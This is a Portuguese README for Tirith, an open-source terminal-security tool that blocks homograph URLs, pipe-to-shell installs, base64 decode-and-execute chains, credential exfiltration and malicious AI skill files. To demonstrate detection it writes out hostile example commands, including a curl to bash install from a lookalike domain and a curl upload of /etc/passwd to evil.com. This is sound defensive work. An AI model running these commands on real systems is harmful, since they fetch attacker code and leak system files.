
Segurança de terminal para desenvolvedores e agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, injeção ANSI, payloads ofuscados, exfiltração de dados e habilidades/configurações maliciosas de IA antes que executem.
Seu navegador detectaria isso. Seu terminal não.
Website | Docs | SKILL.md | Changelog | Releases
Projeto open-source independente, com hospedagem apoiada pelo Vercel Open Source Program (Spring 2026 Cohort).
Você consegue identificar a diferença?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
Você não consegue. Seu terminal também não. Ambos os caracteres `і` são cirílicos (U+0456), não o `i` latino. A segunda URL resolve para o servidor de um atacante. O script é executado antes que você perceba.
Os navegadores resolveram isso anos atrás. Os terminais ainda renderizam Unicode, sequências de escape ANSI e caracteres invisíveis sem questionar. Agentes de IA executam comandos de shell e instalam pacotes sem inspecionar o que há dentro.
**O Tirith fica no portão.** Ele intercepta comandos, conteúdo colado e arquivos verificados em busca de URLs homográficas, payloads ofuscados, exfiltração de credenciais, skills/configs de IA maliciosos e pacotes/domínios/IPs conhecidos como maliciosos de um banco de dados de inteligência de ameaças assinado antes que sejam executados.```bash
brew install tirith
Em seguida, ative no perfil do seu shell:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` detecta automaticamente o seu shell atual (inspeciona o processo pai e recorre a `$SHELL` se necessário). A flag explícita `--shell` só é necessária quando quiser substituir a deteção.
É tudo no que diz respeito à cobertura de shell interativo. Os comandos aceites por esse shell são
verificados enquanto o hook está carregado e saudável; o comportamento exato de bloqueio depende
do shell e do modo. Execute `tirith doctor` após a instalação e atualizações, e
leia [enforcement by shell](#enforcement-by-shell) antes de tratar o hook como
uma fronteira de autorização. Comandos limpos permanecem silenciosos e normalmente seguem o
caminho rápido.
Também disponível via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), e [mais](#install).
---
## Veja a funcionar
**Ataque homográfico, bloqueado antes da execução:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
O comando nunca é executado.
Pipe-to-shell com URL limpa, avisado, não bloqueado:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
Aviso é impresso em stderr. O comando ainda é executado.
**Cadeia de decodificação-execução Base64, bloqueada:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Também captura cadeias de decodificação através de wrappers sudo/env e PowerShell -EncodedCommand.
Exfiltração de credenciais, bloqueada:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
Cobre todas as flags de upload do curl/wget, variáveis de ambiente (`$AWS_SECRET_ACCESS_KEY`) e substituição de comandos.
**Arquivo de skill malicioso, detectado na varredura:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Examina arquivos JS/Python em busca de payloads ofuscados, execução dinâmica de código e padrões de exfiltração de segredos.
Comandos normais, invisíveis:``` $ git status $ ls -la $ docker compose up -d
Nada. Saída zero. Você esquece que o tirith está em execução.
---
## O que ele detecta
**244 regras de detecção em 35 categorias.**